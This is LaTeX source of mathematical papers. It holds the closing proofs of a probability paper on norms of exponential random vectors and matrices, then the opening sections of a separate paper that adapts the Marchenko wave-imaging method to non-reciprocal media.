$G=(g_1, \ldots, g_d)$. Now note that if $K$ is a unit ball of $\|\cdot\|_K$
then for every $U\in O(d)$ one has $\|U x\|_K = \|x\| _{U^{-1}K}$ for
every $x\in \R^d$. Therefore, for any $U\in O(d)$ we have
$$
\Ex\|U Y\|\leq C\sqrt{\log(ed)}\ \Ex\|U G\|= C \sqrt{\log(ed)} \ \Ex\|G\|
$$
(in the last equality we used that the distribution of $G$ is invariant under
rotations).
Finally note that by either Theorem~\ref{mm} or Theorem~\ref{Latala} the norm
of an exponential random vector dominates the norm of the Gaussian one, i.e.
$\Ex\|G\|\leq C_1\, \Ex\|Y\|$, which implies (\ref{contrex}).
\\
{\bf 2.} For any isotropic vector $X$ in $\R^d$ (not necessarily log-concave)
and any origin symmetric convex body $K\subset \R^d$ we show that
\begin{equation} \label{cdcon}
\Ex\|X\|_K\leq Cd(K,B_2^d)\ \Ex\|Y\|_K,
\end{equation}
where $Y=(E_1,\ldots,E_d)$ and $d(K,B_2^d)$ denotes the Banach-Mazur distance
between $K$ and $B_2^d$. Since for every origin symmetric $K$ one has
$d(K,B_2^d)\leq \sqrt{d}$ (see e.g. \cite{Tom}), the inequality (\ref{cdcon})
implies that for any norm $\|\cdot \|$ on $\R^d$
$$
\Ex\|X\|\leq C\sqrt{d}\ \Ex\|Y\| .
$$
Now we prove (\ref{cdcon}). First, as in Remark~1, note that the norm
of an exponential random vector dominates the norm of the Gaussian one. Thus
it is enough to show that $\Ex\|X\|_K\leq Cd(K,B_2^d)\ \Ex\|G\|_K$,
where $G$ is as in Remark~1.
Let $\alpha=d(K,B_2^d)$ and ${\cal E}$ be an ellipsoid such that
${\cal E}\subset K\subset \alpha {\cal E}$. Since this is only a matter of
rotation of a coordinate system we may assume that ${\cal E}=\{x\in \R^d\colon
\sum_{i=1}^d a_i^2x_i^2\leq 1\}$. Then by the isotropicity of $X$,
$$
\Ex\|X\|_{K}\leq \Ex\|X\|_{{\cal E}}=\Ex\left(\sum_{i=1}^d a_i^2X_i^2\r)^{1/2}
\leq \left(\sum_{i=1}^d a_i^2\r)^{1/2}\leq C\Ex\|G\|_{{\cal E}}\leq C\alpha
\Ex\|G\|_K,
$$
where we used comparison of the first and second moments of the norm
$\|G\|_{{\cal E}}$ of the Gaussian vector.
\section{A direct proof of Theorem~\ref{subm}}
\label{dirproof}
We present here a proof of Theorem~\ref{subm} not involving the
Chevet type inequality and not relying on Theorem~\ref{mm},
but only on tail estimates for suprema of linear combinations of
independent exponential variables given in Theorem~\ref{conexp}.
We need the following lemma, which is an immediate consequence of
Theorem~\ref{conexp} (recall here that for a matrix $A=(a_{ij})$,
$\|A\|_{\infty}$ denotes $\max _{i,j} |a_{ij}|$).
\begin{lemma}\label{individual_bound:lemma}
For every $n\times N$ matrix $A=(a_{ij})$ and every $t\geq 0$ we have
\begin{displaymath}
\PP\left(\left|\sum_{ij} E_{ij} a_{ij}\r| \ge t\r) \le
2\exp\left(-c\min\left(\frac{t^2}{|A|^2},\frac{t}{\|A\|_\infty}\r)\r),
\end{displaymath}
where $c>0$ is an absolute constant.
\end{lemma}
Indeed, since $\E |\sum_{ij} E_{ij} a_{ij}| \leq (\E |\sum_{ij} E_{ij}
x_{ij}|^2)^{1/2} =|A|$, the above Lemma follows from Theorem~\ref{conexp}
for $t\geq 2|A|$. For $t\leq 2|A|$ we can make the
right hand side larger than 1 by the choice of $c$.
\medskip
\noindent
{\bf Direct proof of Theorem~\ref{subm}. }
As in the proof of Theorem~\ref{Chevet}, using Theorem~\ref{Latala}, we may
assume that $\Gamma$ is the exponential matrix, i.e. $\Gamma = (E_{ij})$.
Without loss of generality we assume that $k\geq m$ and that $k = 2^{r}-1$,
$m = 2^{s}-1$ for some positive integers $r\geq s$. It is known (and easy to
see by volumetric argument) that for any origin symmetric convex body
$V\subset \R^d$ and any $\eps\leq 1$ there exist an $\eps$-net (with
respect to the metric defined by $V$) in $V$ of cardinality at most
$(3/\eps)^d$. For $i = 0,1,\ldots,r-1$ let $\mathcal{M}_i$ be a
$(2^{i}/(4k))$-net (with respect to the metric defined by $B_2^n \cap
(2^{-i/2}B_\infty^n$)) in the set
\begin{displaymath}
\bigcup_{{I\subseteq \{1,\ldots,n\}}\atop{|I| \le 2^i}}
\R^I \cap B_2^n\cap (2^{-i/2}B_\infty^n)
\end{displaymath}
of cardinality not greater than
\begin{displaymath}
\binom{n}{2^i}\Big(\frac{12k}{2^i}\Big)^{2^i} \le
\exp\Big(C2^i\log\Big(\frac{2n}{2^i}\Big)\Big),
\end{displaymath}
where $\R^I$ denotes the span of $\{e_i\}_{i\in I}$.
Similarly for $i = 0,1,\ldots,s-1$ let $\mathcal{N}_i$ be a
$(2^i/(4m))$-net in the set
\begin{displaymath}
\bigcup_{{I\subseteq \{1,\ldots,N\}}\atop{| I| \le 2^i}}
\R^I \cap B_2^N\cap (2^{-i/2}B_\infty^N)
\end{displaymath}
of cardinality at most
\begin{displaymath}
\binom{N}{2^i}\Big(\frac{12m}{2^i}\Big)^{2^i} \le
\exp\Big(C2^i\log\Big(\frac{2N}{2^i}\Big)\Big).
\end{displaymath}
Let now $\mathcal{M}$ be the set of vectors in $2B_2^n$ that can
be represented in the form $x = \sum_{i=0}^{r-1} x_i$, where $x_i
\in \mathcal{M}_i$ and have pairwise disjoint supports.
Analogously define $\mathcal{N}$ as the set of vectors $y =
\sum_{i=0}^{s-1}y_i\in 2B_2^N$, with $y_i \in \mathcal{N}_i$ and
pairwise disjoint supports. For $x \in \mathcal{M}$ and $i =
0,1,\ldots,r-1$ let $S_i x = x_0+\ldots+x_i$, where $x_i$ is the
appropriate vector from the above representation (this
representation needs not be unique, so for each vector $x$ we
choose one of them). Similarly, for $i = 0,1,\ldots,s-1$ and $y
\in \mathcal{N}$ let $T_iy = y_0+\ldots+y_i$. For $i =
s,\ldots,r-1$ let $T_iy = y$. Additionally set $S_{-1} x = 0$,
$T_{-1}y = 0$. We thus have
\begin{displaymath}
y \otimes x= \sum_{i=0}^{r-1} (T_iy\otimes S_ix - T_{i-1}y\otimes S_{i-1}x)
\end{displaymath}
for $x \in \mathcal{M}, y \in \mathcal{N}$.
Since $x_i$'s and $y_i$'s have pairwise disjoint supports, viewing
$(T_j y\otimes S_j x)$'s as sub-matrices of $y\otimes x$, it is easy to
check that for every $j\geq i$
\begin{equation}\label{twonorm}
|T_j y\otimes S_j x - T_{i-1}y\otimes S_{i-1}x| \le 4
\end{equation}
and
\begin{equation}\label{infnorm}
\|T_j y\otimes S_j x - T_{i-1}y\otimes S_{i-1}x\|_{\infty} \le 2^{-i/2}.
\end{equation}
Thus, by Lemma \ref{individual_bound:lemma}, for any $x \in
\mathcal{M}$, $y \in \mathcal{N}$ and $t\ge 1$,
\begin{align}\label{individual_bound:eq}
\PP(|\langle \Gamma T_i y, S_i x\rangle - \langle \Gamma T_{i-1} y,
S_{i-1} x\rangle| \ge t) \le 2\exp(-c\min(t^2,2^{i/2} t)).
\end{align}
Moreover, for any $i\le s-1$, the cardinality of the set of
vectors of the form $T_i y\otimes S_i x - T_{i-1}y\otimes
S_{i-1}x$, $x\in \mathcal{M}, y \in \mathcal{N}$ is at most
$$
\exp\Big(\sum_{j=0}^i\Big(C2^j\log\Big(\frac{2n}{2^j}\Big)+
C 2^j\log\Big(\frac{2N}{2^j}\Big)\Big)\Big)
\le \exp\Big(\tilde{C}2^i\log\Big(\frac{2n}{2^i}\Big)+
\tilde{C}2^i\log\Big(\frac{2N}{2^i}\Big)\Big).
$$
By (\ref{individual_bound:eq}) and the union bound we get that for
$i\le s-1$ and any $t \ge 1$, with probability at least
\begin{align*}
&1 - 2\exp\Big(-ct\Big(2^{i}\log(2n/2^{i}) +
2^{i}\log(2N/2^i)\Big)\Big),
\end{align*}
one has
$$
\max_{x\in\mathcal{M},y\in\mathcal{N}} |\langle \Gamma T_i y, S_i
x\rangle - \langle \Gamma T_{i-1} y, S_{i-1} x\rangle|
\le Ct\Big(2^{i/2}\log(2n/2^{i}) + 2^{i/2}\log(2N/2^i)\Big).
$$
By integration this yields
$$
\E \max_{x\in\mathcal{M},y\in\mathcal{N}} |\langle \Gamma T_i y,
S_i x\rangle - \langle \Gamma T_{i-1} y, S_{i-1} x\rangle|
\le C\Big(2^{i/2}\log(2n/2^{i}) + 2^{i/2}\log(2N/2^i)\Big).
$$
Therefore
\begin{align}\label{first_part}
\E\sup_{x\in\mathcal{M},y\in\mathcal{N}}|\langle \Gamma T_{s-1} y,
S_{s-1}x\rangle| &\le\sum_{i=0}^{s-1} \E \sup_{x\in\mathcal{M}, y\in
\mathcal{N}}|\langle \Gamma T_i y, S_i x\rangle-\langle \Gamma T_{i-1} y,
S_{i-1} x\rangle| \nonumber\\
&\le \sum_{i=0}^{s-1} C\Big(2^{i/2}\log(2n/2^{i}) +
2^{i/2}\log(2N/2^i)\Big) \nonumber\\
&\le C_1 \Big(\sqrt{k}\log(2n/k) +
\sqrt{m}\log(2N/m)\Big).
\end{align}
On the other hand, for any $y \in \mathcal{N}$ and $i \ge s$, we
have by $T_{i-1}y = T_i y =y$. Thus by (\ref{individual_bound:eq})
and the fact that there are at most $\exp(C 2^i\log(2n/2^i))$
vectors of the form $S_i x - S_{i-1} x$ with $x \in \mathcal{M}$,
we get for $t\ge 1$,
\begin{displaymath}
\sup_{x\in \mathcal{M}} |\langle \Gamma T_i y, (S_i x -
S_{i-1}x)\rangle|\le C t 2^{i/2}\log(2n/2^i),
\end{displaymath}
with probability at least $1 - \exp(-ct2^i\log(2n/2^i))$.
This implies that for $s\le i \le r-1$,
\begin{displaymath}
\E \max_{x\in \mathcal{M}} |\langle \Gamma T_i y, S_i x\rangle - \langle
\Gamma T_{i-1} y, S_{i-1} x\rangle|\le C 2^{i/2}\log(2n/2^i)
\end{displaymath}
and thus
\begin{align*}
\E&\max_{x \in \mathcal{M}} |\langle \Gamma T_{r-1} y, S_{r-1}x\rangle -
\langle \Gamma T_{s-1} y, S_{s-1} x\rangle| \\
&\le \sum_{i=s}^{r-1}\E\max_{x \in \mathcal{M}} |\langle \Gamma T_i y,
S_i x\rangle - \langle T_{i-1} \Gamma y, S_{i-1} x\rangle|\\
&\le C \sum_{i=s}^{r-1} 2^{i/2}\log(2n/2^i) \le
\tilde{C}\sqrt{k}\log(2n/k).
\end{align*}
Applying Theorem~\ref{conexp} together with (\ref{twonorm}) and
(\ref{infnorm}) (with $j=r-1$ and $i=s$)
we obtain that for any $y \in \mathcal{N}$ and $t \ge 1$,
\begin{displaymath}
\max_{x \in \mathcal{M}} |\langle \Gamma T_{r-1}y, S_{r-1}x\rangle -
\langle \Gamma T_{s-1} y, S_{s-1} x\rangle| \le C\sqrt{k}\log(2n/k) +
Ct2^{s/2}\log(2N/2^s),
\end{displaymath}
with probability at least
\begin{displaymath}
1 - 2\exp(-\tilde{C}t 2^s\log(2N/2^s)),
\end{displaymath}
which by the union bound and integration by parts gives
\begin{align*}
\E&\max_{x\in \mathcal{M},y\in\mathcal{N}} |\langle T_{r-1}y,A S_{r-1}x\rangle
- \langle T_{s-1} y,AS_{s-1} x\rangle| \\
&\le C\sqrt{k}\log(2n/k) + C2^{s/2}\log(2N/2^s) \le
\tilde{C}\Big(\sqrt{k}\log(2n/k)+\sqrt{m}\log(2N/m)\Big).
\end{align*}
Combining this inequality with (\ref{first_part}) we get
\begin{displaymath}
\E\max_{x\in\mathcal{M},y\in\mathcal{N}} |\langle y, A x\rangle|
\le C\Big(\sqrt{k}\log(2n/k)+\sqrt{m}\log(2N/m)\Big).
\end{displaymath}
Let us now notice that for arbitrary $x \in S^{n-1}$, $y \in
S^{n-1}$, with $|\supp x| \le k, |\supp y| \le m$, there exist
$\tilde{x}\in \mathcal{M}, \tilde{y} \in \mathcal{N}$, such that
$\supp \tilde{x} \subset \supp x$, $\supp \tilde{y} \subset \supp
y$ and
\begin{align*}
|x - \tilde{x}|^2 \le \sum_{i=0}^{r-1} 2^{2i}/(16k^2) \le 1/8,
\quad|y - \tilde{y}|^2 \le \sum_{i=0}^{s-1} 2^{2i}/(16m^2) \le 1/8.
\end{align*}
We have
\begin{displaymath}
\langle \Gamma y, x\rangle = \langle \Gamma \tilde{y}, \tilde{x}\rangle +
\langle \Gamma (y - \tilde{y}), x\rangle + \langle \Gamma \tilde{y}, x-\tilde{x}
\rangle.
\end{displaymath}
Taking into account that $\tilde{y} \in 2B_{2}^N$ and passing to suprema, we get
\begin{displaymath}
\Gamma _{k,m} \le \max_{\tilde{x}\in\mathcal{M},\tilde{y}\in\mathcal{N}}
\langle \Gamma \tilde{y}, \tilde{x}\rangle + 3 \Gamma _{k,m} /8
\end{displaymath}
and thus
\begin{displaymath}
\E \Gamma _{k,m} \le 2\E
\max_{\tilde{x}\in\mathcal{M},\tilde{y}\in\mathcal{N}} \langle
\Gamma \tilde{y}, \tilde{x}\rangle\le C(\sqrt{k}\log(2n/k) + \sqrt{m}\log(2N/m)),
\end{displaymath}
which completes the proof of the first part of Theorem~\ref{subm}.
The proof of the ``moreover" part is obtained using Theorem~\ref{conexp} in the same
way as it was used to obtain Corollary~\ref{probest} from Theorem~\ref{Chevet}.
\qed
\medskip
\noindent
{\bf Remark.} We would like to notice that by adjusting the chaining
argument presented above one can eliminate the use of the full strength
of Theorem~\ref{conexp} and obtain a proof relying only on tail inequalities
for linear combinations of independent exponential random variables
(which follow from classical Bernstein inequalities). The modification
involves splitting the proof into two cases depending on the comparison
between $m\log(2N/m)$ and $k\log(2n/k)$.
|
1,477,468,750,023 | arxiv | \section{Introduction}
Acoustic imaging methods are traditionally based on the single-scattering assumption \cite{Claerbout71GEO, Stolt78GEO, Berkhout79GP, Williams80PRL, Devaney82UI,
Bleistein82GEO, Maynard85JASA, Langenberg1986NDT, McMechan83GP, Esmersoy88GEO, Oristaglio89IP, Norton92JASA, Wu2004JASA, Lindsey2004AJSS, Etgen2009GEO}.
Multiply scattered waves are not properly handled by these methods and may lead to false images overlaying the desired primary image.
Several approaches have been developed that account for multiple scattering.
For the sake of the discussion it is important to distinguish between different classes of multiply scattered waves.
Waves that have scattered at least once at the surface of the medium are called surface-related multiples.
This type of multiple scattering is particularly severe in exploration geophysics. However, because the scattering boundary is known, this class of multiples is relatively easily dealt with.
Successful methods have been developed to suppress surface-related multiples prior to
imaging \cite{Verschuur92GEO, Carvalho92SEG, Borselen96GEO, Biersteker2001SEG, Pica2005TLE, Dragoset2010GEO}.
Waves that scatter several times inside the medium before being recorded at the surface are called internal multiples.
Internal multiple scattering may occur at heterogeneities at many scales.
We may distinguish between deterministic scattering at well-separated scatterers, giving rise to long period multiples, and diffuse scattering in stochastic media.
Of course this distinction is not always sharp. In this paper we only consider the first type of internal multiple scattering, which typically occurs in layered media
(which, in general, may have curved interfaces and varying parameters in the layers).
Several imaging approaches that account for deterministic internal multiples are currently under development, such as the inverse scattering series
approach \cite{Weglein97GEO, Kroode2002WM, Weglein2003IP}, full wave field migration \cite{Berkhout2014GP, Davydenko2017GP}, and Marchenko imaging.
The latter approach builds on a 1D autofocusing procedure \cite{Rose2001PRA, Rose2002IP, Broggini2012EJP}, which has been generalised for 2D and 3D inhomogeneous
media \cite{Wapenaar2012GJI, Wapenaar2014JASA, Broggini2014GEO, Behura2014GEO, Meles2015GEO, Neut2015GJI, Neut2016GEO, Thorbecke2017GEO,
Neut2017GEO, Singh2017GEO, Mildner2017GEO, Elison2018GJI}.
This methodology \rev{retrieves the wave fields inside a medium, including all internal multiples,
in a data-driven way. Such wave fields could be used, for example, to monitor changes of the material over time.
Moreover, in a next step these wave fields can be used to form an image of the material, in which artefacts due to the internal multiples are suppressed.}
Promising results have been obtained with
geophysical \cite{Ravasi2016GJI, Ravasi2017GEO, Staring2018GEO, Brackenhoff2019SE, Wapenaar2018SR} and ultrasonic data \rev{ \cite{Wapenaar2018SR, Cui2018PRA}}.
To date, the application of the Marchenko \rev{method} has been restricted to reciprocal media. With the increasing interest in non-reciprocal materials,
both in electromagnetics \cite{Willis2011RS, He2011PRB, Ardakani2014JOSA}
and in acoustics \rev{and elastodynamics \cite{Willis2012CRM, Norris2012RS, Gu2016SR, Trainiti2016NJP, Nassar2017RS, Nassar2017JMPS, Attarzadeh2018JSV}},
it is opportune to modify the Marchenko method for non-reciprocal media.
We start with a brief review of the wave equation for non-reciprocal media. By restricting this to scalar waves in a 2D plane, it is possible to capture
different wave phenomena by a unified wave equation.
Next, we formulate reciprocity theorems for waves in a non-reciprocal medium and its \rev{complementary version (the complementary medium will be defined later)}.
From these reciprocity theorems we derive Green's function representations, which form the basis
for the Marchenko method in non-reciprocal media. We illustrate the new method with a numerical example,
showing that it has the potential to accurately \rev{retrieve the wave fields inside} a non-reciprocal medium \rev{and to image this medium}, without
false images related to multiply scattered waves.
\section{Unified wave equation for non-reciprocal media}
Consider the following unified equations \rev{in the low-frequency limit} for 2D wave propagation in the $(x_1,x_3)$-plane in inhomogeneous, lossless, anisotropic, non-reciprocal media
\begin{eqnarray}
&&\alpha \partial_tP + (\partial_r+ \gamma_r\partial_t)Q_r =B,\label{eq15agt1}\\
&&(\partial_r+ \gamma_r\partial_t)P+\beta_{rs}\partial_tQ_s =C_r.\label{eq16agt1}
\end{eqnarray}
These equations hold for transverse-electric (TE), transverse-magnetic (TM), horizontally-polarised shear (SH) and acoustic (AC) waves.
They are formulated in the space-time $({\bf x},t)$ domain, with ${\bf x}=(x_1,x_3)$.
Operator $\partial_r$ stands for differentiation in the $x_r$ direction.
Lower-case subscripts $r$ and $s$ take the values 1 and 3 only; Einstein's summation convention applies for repeated subscripts. Operator $\partial_t$ stands for temporal differentiation.
\rev{The wave field quantities ($P=P({\bf x},t)$ and $Q_r=Q_r({\bf x},t)$) and source quantities ($B=B({\bf x},t)$ and $C_r=C_r({\bf x},t)$) are macroscopic quantities. These are
often denoted as $\langle P\rangle$ etc. \cite{Willis2011RS}, but for notational convenience we will not use the brackets. The medium parameters
($\alpha=\alpha({\bf x})$, $\beta_{rs}=\beta_{rs}({\bf x})$ and $\gamma_r=\gamma_r({\bf x})$) are effective parameters. In general they are anisotropic at macro scale (with $\beta_{rs}=\beta_{sr}$),
even when they are isotropic at micro scale.
Wave field quantities, source quantities and medium parameters are specified for the different wave phenomena in Table 1.
For TE and TM waves, the macroscopic wave field quantities are $E$ (electric field strength) and $H$ (magnetic field strength),
the macroscopic source functions are $J^{\rm e}$ (external electric current density) and $J^{\rm m}$ (external magnetic current density),
and the effective medium parameters are $\varepsilon^o\!\!\,$ (permittivity), $\mu$ (permeability) and $\xi$ (coupling parameter).
For SH and AC waves, the macroscopic wave field quantities are $v$ (particle velocity), $\tau$ (stress) and $\sigmaa$ (acoustic pressure),
the macroscopic source functions are $F$ (external force density), $h$ (external deformation-rate density) and $q$ (volume injection-rate density),
and the effective medium parameters are $\rho^o\!\!\,$ (mass density), $s$ (compliance), $\kappa$ (compressibility) and $\xi$ (coupling parameter).
For further details we refer to Appendix \ref{AppA}.}
\begin{center}
{{\noindent \it Table 1: Quantities in unified equations (\ref{eq15agt1}) and (\ref{eq16agt1}).}
\begin{tabular}{||l|c|c|c|c|c|c|c|c|c|c|c|c|c|c|c||}
\hline\hline
& $P$ & $Q_1$ & $Q_3$ & $\alpha$ &$\beta_{11}$ &$\beta_{31}$ & $\beta_{33}$ & $\gamma_1$ & $\gamma_3$ & $B$ & $C_1$ & $C_3$ \\
\hline
TE & $E_2$ &$H_3$ & $-H_1$ & ${\varepsilon^o\!\!}_{22}$ &$\mu_{33}$ &$-\mu_{31}$ & $\mu_{11}$ &$\xi_{23}$ & $-\xi_{21}$ & $-J_2^{\rm e}$ & $-J_3^{\rm m}$& $J_1^{\rm m}$ \\
\hline
TM & $H_2$ &$-E_3$ & $E_1$ & $\mu_{22}$ &${\varepsilon^o\!\!}_{33}$ &$-{\varepsilon^o\!\!}_{31}$ & ${\varepsilon^o\!\!}_{11}$ &$-\xi_{32}$& $\xi_{12}$ & $-J_2^{\rm m}$ & $J_3^{\rm e}$& $-J_1^{\rm e}$ \\
\hline
SH & $v_2$ &$-\tau_{21}$ & $-\tau_{23}$ & ${\rho^o\!\!}_{22}$ &$4s_{1221}$ &$4s_{1223}$ & $4s_{3223}$&$2\xi_{221}$& $2\xi_{223}$ &$F_2$ & $2h_{21}$ & $2h_{23}$ \\
\hline
AC & $\sigmaa$ &$v_1$ & $v_3$ & $\kappa$ &${\rho^o\!\!}_{11}$ &${\rho^o\!\!}_{31}$ & ${\rho^o\!\!}_{33}$&$\xi_1$& $\xi_3$ &$q$ & $F_1$ & $F_3$ \\
\hline
\hline
\end{tabular}
}
\end{center}
\mbox{}\\
By eliminating $Q_r$ from equations (\ref{eq15agt1}) and (\ref{eq16agt1}) we obtain a scalar wave equation for field quantity $P$, according to
\begin{eqnarray}
&& (\partial_r+\gamma_r\partial_t) \vartheta_{rs}(\partial_s+\gamma_s\partial_t)P-\alpha\partial_t^2P=(\partial_r+\gamma_r\partial_t)\vartheta_{rs}C_s-\partial_tB,\label{eq16aghht}
\end{eqnarray}
see Appendix \ref{AppA} for the derivation. Here $\vartheta_{rs}$ is the inverse of $\beta_{rs}$.
Compare equation (\ref{eq16aghht}) with the common \rev{scalar} wave equation for waves in isotropic reciprocal media
\begin{eqnarray}
&&\partial_r\frac{1}{\beta}\partial_rP-\alpha\partial_t^2P=\partial_r\frac{1}{\beta}C_r-\partial_tB.\label{eq16aghhtir}
\end{eqnarray}
In equation (\ref{eq16aghht}), $\partial_r+\gamma_r\partial_t$ replaces $\partial_r$, with $\gamma_r$ being responsible for the non-reciprocal behaviour. Moreover,
$\vartheta_{rs}$ replaces $1/\beta$, thus accounting for anisotropy of the effective non-reciprocal medium.
\rev{To illustrate the physical meaning of the parameter $\gamma_r$, we consider the 1D version of equation (\ref{eq16aghht}) for a homogeneous, isotropic, source-free medium, i.e.
\begin{eqnarray}
&& (\partial_1+\gamma\partial_t)(\partial_1+\gamma\partial_t)P-\alpha\beta\partial_t^2P=0.
\end{eqnarray}
Its solution reads
\begin{eqnarray}
&& P^\pm(x_1,t)=S\Bigl(t\mp \frac{x_1}{c}(1\pm\gamma c)\Bigr),
\end{eqnarray}
with $S(t)$ being an arbitrary time-dependent function and $c=(\alpha\beta)^{-1/2}$ the propagation velocity of the corresponding reciprocal medium.
Note that $P^+(x_1,t)$ propagates in the positive $x_1$-direction with
slowness $(1+\gamma c)/c$, whereas $P^-(x_1,t)$ propagates in the negative $x_1$-direction with slowness $(1-\gamma c)/c$.
Hence, $\gamma$ determines the asymmetry of the slownesses in opposite directions.
Throughout this paper we assume that $|\gamma_r|$ is smaller than the lowest inverse propagation velocity of the corresponding reciprocal anisotropic medium.
}
\section{Reciprocity theorems for a non-reciprocal medium and its complementary version}
We derive reciprocity theorems in the space-frequency $({\bf x},\omega)$-domain for wave fields in a non-reciprocal medium and its \rev{complementary version}.
To this end, we define the temporal Fourier transform of a space- and time-dependent function $P({\bf x},t)$ as
\begin{equation}\label{eqFT}
P({\bf x},\omega)=\int_{-\infty}^\inftyP({\bf x},t) \exp(i\omega t){\rm d}t,
\end{equation}
where $\omega$ is the angular frequency and $i$ the imaginary unit. For notational convenience we use the same symbol
for quantities in the time domain and in the frequency domain.
We use equation (\ref{eqFT}) to transform equations (\ref{eq15agt1}) and (\ref{eq16agt1}) to the space-frequency domain.
The temporal differential operators $\partial_t$ are thus replaced by $-i\omega$, hence
\begin{eqnarray}
&&-i\omega\alpha P + ( \partial_r-i\omega \gamma_r)Q_r =B,\label{eq15agf}\\
&&(\partial_r-i\omega \gamma_r)P-i\omega\beta_{rs}Q_s =C_r,\label{eq16agf}
\end{eqnarray}
with $P=P({\bf x},\omega)$, $Q_r=Q_r({\bf x},\omega)$, $B=B({\bf x},\omega)$ and $C_r=C_r({\bf x},\omega)$.
A reciprocity theorem formulates a mathematical relation between two independent states \cite{Fokkema93Book, Hoop95Book, Achenbach2003Book}.
We indicate the wave fields, sources and medium parameters in the two states by subscripts $A$ and $B$.
Consider the quantity
\begin{equation}
\partial_r(P_AQ_{r,B}-Q_{r,A}P_B).
\end{equation}
Applying the product rule for differentiation, using equations (\ref{eq15agf}) and (\ref{eq16agf}) for states $A$ and $B$, using $\beta_{sr}=\beta_{rs}$ \rev{ \cite{Nassar2017JMPS, Kong72IEEE, Birss67PM}},
integrating the result over domain $\mathbb{D}$ enclosed by boundary ${\partial\setD}$ with outward pointing normal vector ${\bf n}=(n_1,n_3)$
and applying the theorem of Gauss, we obtain
\begin{eqnarray}
&&\oint_{\partial\setD}(P_AQ_{r,B}-Q_{r,A}P_B)n_r{\rm d}{\bf x}=\\
&&i\omega\int_\mathbb{D}\Bigl((\alpha_B-\alpha_A)P_AP_B-(\beta_{rs,B}-\beta_{rs,A})Q_{r,A}Q_{s,B}
\Bigr){\rm d}\bx\nonumber\\
&&+i\omega\int_\mathbb{D}(\gamma_{r,B}+\gamma_{r,A})(P_AQ_{r,B}-Q_{r,A}P_B){\rm d}\bx\nonumber\\
&&+\int_\mathbb{D}(C_{r,A}Q_{r,B}-Q_{r,A}C_{r,B}+P_AB_B-B_AP_B){\rm d}\bx.\nonumber
\end{eqnarray}
This is the general reciprocity theorem of the convolution type.
When the medium parameters $\alpha$, $\beta_{rs}$ and $\gamma_r$ are identical in both states, then the first integral on the right-hand side vanishes, but the second
integral, containing $\gamma_r$, does not vanish.
When we choose $\gamma_{r,A}=-\gamma_{r,B}=-\gamma_r$, then the second integral also vanishes.
For this situation we call state $B$, with parameters $\alpha$, $\beta_{rs}$ and $\gamma_r$, the actual state, and state $A$, with parameters
$\alpha$, $\beta_{rs}$ and $-\gamma_r$, the \rev{complementary state \cite{Kong72IEEE, Lindell95JEVA} (also known as the Lorentz-adjoint state \cite{Altman91Book}).}
We indicate the \rev{complementary} state by a superscript $\rm (c)$. Hence
\begin{eqnarray}\label{reccon}
&&\oint_{\partial\setD}(P_A^{\rm (c)}Q_{r,B}-Q_{r,A}^{\rm (c)}P_B)n_r{\rm d}{\bf x}=\\
&&\int_\mathbb{D}(C_{r,A}^{\rm (c)}Q_{r,B}-Q_{r,A}^{\rm (c)}C_{r,B}+P_A^{\rm (c)}B_B-B_A^{\rm (c)}P_B){\rm d}\bx.\nonumber
\end{eqnarray}
This reciprocity theorem will play a role in the derivation of Green's function representations for the Marchenko method for non-reciprocal media (section \ref{Marchenko}). Here we
use it to derive a relation between Green's functions in states $A$ and $B$. For the \rev{complementary} state $A$ we choose a unit monopole point source at ${\bf x}_S$ in $\mathbb{D}$, hence
$B^{\rm (c)}_A({\bf x},\omega)=\delta({\bf x}-{\bf x}_S)$, where $\delta({\bf x})$ is the Dirac delta function. The response to this point source is the Green's function in state $A$, hence
$P^{\rm (c)}_A({\bf x},\omega)=G^{\rm (c)}({\bf x},{\bf x}_S,\omega)$. Similarly, for state $B$ we choose a unit monopole point source at ${\bf x}_R$ in $\mathbb{D}$, hence
$B_B({\bf x},\omega)=\delta({\bf x}-{\bf x}_R)$ and $P_B({\bf x},\omega)=G({\bf x},{\bf x}_R,\omega)$. We substitute these expressions into equation (\ref{reccon}) and set the other source quantities,
$C_{r,A}^{\rm (c)}$ and $C_{r,B}$, to zero. Further, we assume that Neumann or Dirichlet boundary conditions apply at ${\partial\setD}$, or that the medium at and outside ${\partial\setD}$ is homogeneous
and reciprocal. In each of these cases the boundary integral vanishes. We thus obtain \cite{Slob2009PIER, Willis2012CRM}
\begin{equation}\label{eq11}
G^{\rm (c)}({\bf x}_R,{\bf x}_S,\omega)=G({\bf x}_S,{\bf x}_R,\omega).
\end{equation}
The left-hand side is the response to a source at ${\bf x}_S$ in the \rev{complementary} medium (with parameter $-\gamma_r$), observed by a receiver at ${\bf x}_R$.
The right-hand side is the response to a source at ${\bf x}_R$ in the actual medium (with parameter $\gamma_r$), observed by a receiver at ${\bf x}_S$.
Note the analogy with the flow-reversal theorem for waves in flowing media \cite{Lyamshev61DAN, Godin97WM, Wapenaar2004ACME}.
\noindent
Next, we consider the quantity
\begin{equation}
\partial_r(P_A^*Q_{r,B}+Q_{r,A}^*P_B).
\end{equation}
Superscript $*$ denotes complex conjugation.
Following the same steps as before, we obtain
\begin{eqnarray}
&&\oint_{\partial\setD}(P_A^*Q_{r,B}+Q_{r,A}^*P_B)n_r{\rm d}{\bf x}=\\
&&i\omega\int_\mathbb{D}\Bigl((\alpha_B-\alpha_A)P_A^*P_B+(\beta_{rs,B}-\beta_{rs,A})Q_{r,A}^*Q_{s,B}
\Bigr){\rm d}\bx\nonumber\\
&&+i\omega\int_\mathbb{D}(\gamma_{r,B}-\gamma_{r,A})(P_A^*Q_{r,B}+Q_{r,A}^*P_B){\rm d}\bx\nonumber\\
&&+\int_\mathbb{D}(C_{r,A}^*Q_{r,B}+Q_{r,A}^*C_{r,B}+P_A^*B_B+B_A^*P_B){\rm d}\bx.\nonumber
\end{eqnarray}
This is the general reciprocity theorem of the correlation type.
When the medium parameters $\alpha$, $\beta_{rs}$ and $\gamma_r$ are identical in both states, then the first and second integral on the right-hand side vanish.
Hence
\begin{eqnarray}\label{reccor}
&&\oint_{\partial\setD}(P_A^*Q_{r,B}+Q_{r,A}^*P_B)n_r{\rm d}{\bf x}=\\
&&\int_\mathbb{D}(C_{r,A}^*Q_{r,B}+Q_{r,A}^*C_{r,B}+P_A^*B_B+B_A^*P_B){\rm d}\bx.\nonumber
\end{eqnarray}
Also this reciprocity theorem will play a role in the derivation of Green's function representations for the Marchenko method for non-reciprocal media.
\begin{figure}
\vspace{0cm}
\centerline{\epsfysize=8 cm \epsfbox{Figure1.pdf}}
\vspace{-2.8cm}
\caption{\footnotesize Modified configuration for the reciprocity theorems.
}\label{Fig1}
\end{figure}
\section{Green's function representations for the Marchenko method}\label{Marchenko}
